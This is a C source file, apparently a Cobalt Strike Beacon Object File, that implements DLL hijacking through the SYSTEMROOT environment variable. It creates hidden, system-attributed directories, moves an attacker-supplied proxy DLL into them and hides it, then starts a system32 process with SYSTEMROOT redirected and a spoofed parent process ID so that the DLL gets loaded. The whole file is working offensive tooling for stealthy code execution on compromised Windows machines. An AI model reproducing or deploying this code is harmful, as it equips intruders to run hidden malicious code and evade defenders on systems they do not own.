dllenvhijacking.c 6.2 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194
  1. #include <windows.h>
  2. #include <stdio.h>
  3. #include "dllenvhijacking.h"
  4. #include "beacon.h"
  5. BOOL CreateHiddenDir(WCHAR *directory) {
  6. DWORD attrib;
  7. if(KERNEL32$CreateDirectoryW(directory, NULL) == 0) {
  8. if(KERNEL32$GetLastError() == 183) BeaconPrintf(CALLBACK_ERROR, "Failed to create directory: ERROR_ALREADY_EXISTS\n");
  9. if(KERNEL32$GetLastError() == 3) BeaconPrintf(CALLBACK_ERROR, "Failed to create directory: ERROR_PATH_NOT_FOUND\n");
  10. return FALSE;
  11. }
  12. attrib = KERNEL32$GetFileAttributesW(directory);
  13. if(attrib == INVALID_FILE_ATTRIBUTES) {
  14. BeaconPrintf(CALLBACK_ERROR, "Failed to retrieve file attribute information from directory with error code: %ld\n", KERNEL32$GetLastError());
  15. return FALSE;
  16. }
  17. attrib |= FILE_ATTRIBUTE_HIDDEN;
  18. attrib |= FILE_ATTRIBUTE_SYSTEM;
  19. if(KERNEL32$SetFileAttributesW(directory, attrib) == 0) {
  20. BeaconPrintf(CALLBACK_ERROR, "Failed to set new attribute information on the directory with error code: %ld\n", KERNEL32$GetLastError());
  21. return FALSE;
  22. }
  23. return TRUE;
  24. }
  25. BOOL CreateHiddenFile(WCHAR *file) {
  26. HANDLE hFile;
  27. FILE_BASIC_INFORMATION fileInfo;
  28. IO_STATUS_BLOCK ioStatusBlock;
  29. NtQueryInformationFile_t pNtQueryInformationFile = (NtQueryInformationFile_t)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryInformationFile");
  30. if(pNtQueryInformationFile == NULL) return 0;
  31. NtSetInformationFile_t pNtSetInformationFile = (NtSetInformationFile_t)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtSetInformationFile");
  32. if(pNtSetInformationFile == NULL) return 0;
  33. hFile = KERNEL32$CreateFileW(file, GENERIC_READ | GENERIC_WRITE | FILE_WRITE_ATTRIBUTES, 0, NULL, OPEN_EXISTING, 0, NULL);
  34. if (hFile == INVALID_HANDLE_VALUE) {
  35. BeaconPrintf(CALLBACK_ERROR, "Could not open file with error code: %ld\n", KERNEL32$GetLastError());
  36. return FALSE;
  37. }
  38. if (pNtQueryInformationFile(hFile, &ioStatusBlock, &fileInfo, sizeof(FILE_BASIC_INFORMATION), FileBasicInformation) < 0) {
  39. BeaconPrintf(CALLBACK_ERROR, "Failed to get file attribute information with error code: %ld\n", KERNEL32$GetLastError());
  40. KERNEL32$CloseHandle(hFile);
  41. return FALSE;
  42. }
  43. fileInfo.FileAttributes |= FILE_ATTRIBUTE_HIDDEN;
  44. fileInfo.FileAttributes |= FILE_ATTRIBUTE_SYSTEM;
  45. if (pNtSetInformationFile(hFile, &ioStatusBlock, &fileInfo, sizeof(FILE_BASIC_INFORMATION), FileBasicInformation) < 0) {
  46. BeaconPrintf(CALLBACK_ERROR, "Failed to set new attribute information on the file with error code: %ld\n", KERNEL32$GetLastError());
  47. KERNEL32$CloseHandle(hFile);
  48. return FALSE;
  49. }
  50. KERNEL32$CloseHandle(hFile);
  51. return TRUE;
  52. }
  53. BOOL MoveDLL(WCHAR *dllSrcPath, WCHAR *dllDstPath) {
  54. if (KERNEL32$MoveFileW(dllSrcPath, dllDstPath) == 0) {
  55. BeaconPrintf(CALLBACK_ERROR, "Failed to move %ls with error code: %ld\n", dllSrcPath, KERNEL32$GetLastError());
  56. return FALSE;
  57. }
  58. return TRUE;
  59. }
  60. BOOL RunProc(WCHAR *sysrootPath, char *targetProcPath, int pid) {
  61. STARTUPINFOEX info = { sizeof(info) };
  62. PROCESS_INFORMATION processInfo;
  63. SIZE_T cbAttributeListSize = 0;
  64. PPROC_THREAD_ATTRIBUTE_LIST pAttributeList = NULL;
  65. HANDLE hParentProcess = NULL;
  66. BOOL setEnvSuccess = TRUE;
  67. if (KERNEL32$SetEnvironmentVariableW(L"SYSTEMROOT", sysrootPath) == 0) {
  68. BeaconPrintf(CALLBACK_ERROR, "Failed to set the new environment variable!\n");
  69. return FALSE;
  70. }
  71. KERNEL32$InitializeProcThreadAttributeList(NULL, 1, 0, &cbAttributeListSize);
  72. pAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST) KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), 0, cbAttributeListSize);
  73. KERNEL32$InitializeProcThreadAttributeList(pAttributeList, 1, 0, &cbAttributeListSize);
  74. hParentProcess = KERNEL32$OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
  75. KERNEL32$UpdateProcThreadAttribute(pAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParentProcess, sizeof(HANDLE), NULL, NULL);
  76. info.lpAttributeList = pAttributeList;
  77. if (KERNEL32$CreateProcessA(NULL, targetProcPath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &info.StartupInfo, &processInfo) == 0) {
  78. setEnvSuccess = FALSE;
  79. }
  80. if (KERNEL32$SetEnvironmentVariableW(L"SYSTEMROOT", L"C:\\Windows\\") == 0) {
  81. BeaconPrintf(CALLBACK_ERROR, "Failed to reset the old environment variable!\n");
  82. }
  83. KERNEL32$DeleteProcThreadAttributeList(pAttributeList);
  84. KERNEL32$CloseHandle(hParentProcess);
  85. KERNEL32$CloseHandle(processInfo.hProcess);
  86. KERNEL32$CloseHandle(processInfo.hThread);
  87. return setEnvSuccess;
  88. }
  89. int go(char *args, int len) {
  90. WCHAR wsys32[] = L"system32\\";
  91. char sys32[] = "C:\\windows\\system32\\";
  92. WCHAR newSys32Path[100];
  93. WCHAR dllDstPath[100];
  94. WCHAR dllSrcPath[100];
  95. char targetProcPath[100];
  96. WCHAR *sysrootPath;
  97. WCHAR *proxyDll;
  98. WCHAR *inputDllSrcPath;
  99. char *targetProc;
  100. int *pid;
  101. BOOL res = FALSE;
  102. datap parser;
  103. BeaconDataParse(&parser, args, len);
  104. sysrootPath = BeaconDataExtract(&parser, NULL);
  105. proxyDll = BeaconDataExtract(&parser, NULL);
  106. inputDllSrcPath = BeaconDataExtract(&parser, NULL);
  107. targetProc = BeaconDataExtract(&parser, NULL);
  108. pid = BeaconDataInt(&parser);
  109. res = CreateHiddenDir(sysrootPath);
  110. if (!res) return 0;
  111. else {
  112. res = FALSE;
  113. }
  114. MSVCRT$wcscpy(newSys32Path, sysrootPath);
  115. MSVCRT$wcscat(newSys32Path, wsys32);
  116. res = CreateHiddenDir(newSys32Path);
  117. if (!res) return 0;
  118. else {
  119. BeaconPrintf(CALLBACK_OUTPUT, "[+] Created new directory structure %ls as systemfile + hidden\n", newSys32Path);
  120. res = FALSE;
  121. }
  122. MSVCRT$wcscpy(dllDstPath, newSys32Path);
  123. MSVCRT$wcscat(dllDstPath, proxyDll);
  124. MSVCRT$wcscpy(dllSrcPath, inputDllSrcPath);
  125. MSVCRT$wcscat(dllSrcPath, proxyDll);
  126. res = MoveDLL(dllSrcPath, dllDstPath);
  127. if (!res) return 0;
  128. else {
  129. res = FALSE;
  130. }
  131. res = CreateHiddenFile(dllDstPath);
  132. if (!res) return 0;
  133. else {
  134. BeaconPrintf(CALLBACK_OUTPUT, "[+] Moved DLL to location %ls and made it a systemfile + hidden\n", dllDstPath);
  135. res = FALSE;
  136. }
  137. MSVCRT$strcpy(targetProcPath, sys32);
  138. MSVCRT$strcat(targetProcPath, targetProc);
  139. res = RunProc(sysrootPath, targetProcPath, pid);
  140. if (!res) BeaconPrintf(CALLBACK_ERROR, "Failed to start process %s as a spoofed child from PID: %d\n", targetProcPath, pid);
  141. else {
  142. BeaconPrintf(CALLBACK_OUTPUT, "[+] Modified SYSTEMROOT environment variable to %ls and executed the DLL as a spoofed process of PID: %d\n",sysrootPath, pid);
  143. }
  144. return 0;
  145. }